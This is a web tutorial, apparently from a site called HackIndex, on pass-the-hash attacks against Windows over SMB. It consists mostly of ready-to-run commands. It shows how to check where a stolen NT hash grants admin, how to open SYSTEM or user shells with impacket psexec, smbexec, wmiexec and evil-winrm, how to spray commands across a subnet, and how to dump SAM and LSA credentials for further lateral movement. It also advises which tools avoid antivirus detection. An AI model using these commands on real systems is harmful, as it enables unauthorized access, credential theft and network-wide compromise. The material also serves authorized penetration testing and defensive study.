Skip to content
HackIndex logo

HackIndex

Pass-the-Hash over SMB – Shell Without a Password

4 min read Jul 10, 2026

NTLM authentication accepts the NT hash directly without requiring the plaintext password. If you have an NT hash from secretsdump, Mimikatz, or any credential dump, you can authenticate to SMB as that user on any host where their account has access. No cracking needed.

The hash format used throughout is LM:NT. The LM portion is always either blank or aad3b435b51404eeaad3b435b51404ee — only the NT hash matters.

Pass-the-Hash works against local accounts and domain accounts. It does not work against accounts protected by Kerberos-only authentication or where the target enforces RestrictedAdmin mode.

Checking Access Before Executing

Verify which hosts the hash gives you local admin on before running execution tools:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -H $NTHASH --local-auth

Remove --local-auth for domain accounts:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -H $NTHASH -d $DOMAIN

Output shows (Pwn3d!) next to any host where the account has local admin. Those are your execution targets.

Remote Shell with psexec

impacket-psexec creates a service on the target and drops a shell. It runs as SYSTEM:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

For local accounts use the hostname or . as domain:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec ./$USER@$TARGET_IP -hashes :$NTHASH

psexec writes a binary to the target's ADMIN$ share and creates a service — it is noisy and often caught by AV. Prefer smbexec or wmiexec in environments where detection matters.

Remote Shell with smbexec

impacket-smbexec runs commands via a temporary service without dropping a binary to disk. Output is via a shared pipe. Slightly stealthier than psexec:

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Remote Shell with wmiexec

impacket-wmiexec executes commands over WMI via SMB named pipes. Does not create services or touch ADMIN$. Output is read from a temporary share:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

wmiexec is the most opsec-aware of the three. Use it by default unless you need SYSTEM (psexec/smbexec run as SYSTEM, wmiexec runs as the user).

Remote Shell with evil-winrm

If WinRM (port 5985) is open and the account has access, evil-winrm accepts NT hashes directly:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH

For domain accounts:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN

evil-winrm gives a full PowerShell session. It is the cleanest option when WinRM is available — see Evil-WinRM for full usage. For RDP pass-the-hash, see RDP Pass-the-Hash. For the full AD lateral movement context, see Pass the Hash and Pass the Ticket.

Hash Spray with nxc

To execute a command across all reachable hosts with the hash:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -H $NTHASH -d $DOMAIN -x "whoami"

For PowerShell commands:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -H $NTHASH -d $DOMAIN -X "Get-LocalGroupMember Administrators"

Dumping SAM and LSA with the Hash

Once you have admin access via hash, dump local credentials from the target for further lateral movement:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Or with nxc:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --sam
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --lsa

Hashes from the SAM database can be used for further Pass-the-Hash against other hosts. LSA secrets may contain service account plaintext credentials.

Local Administrator Hash Reuse

If the target has a non-unique local administrator password (common before LAPS deployment), the same hash will authenticate to every host in the environment as the local admin. Check this by spraying the hash with --local-auth across the subnet — any (Pwn3d!) response is a hit.

This is one of the highest-value lateral movement chains in flat networks: compromise one host, dump the local admin hash, spray it across the network.

References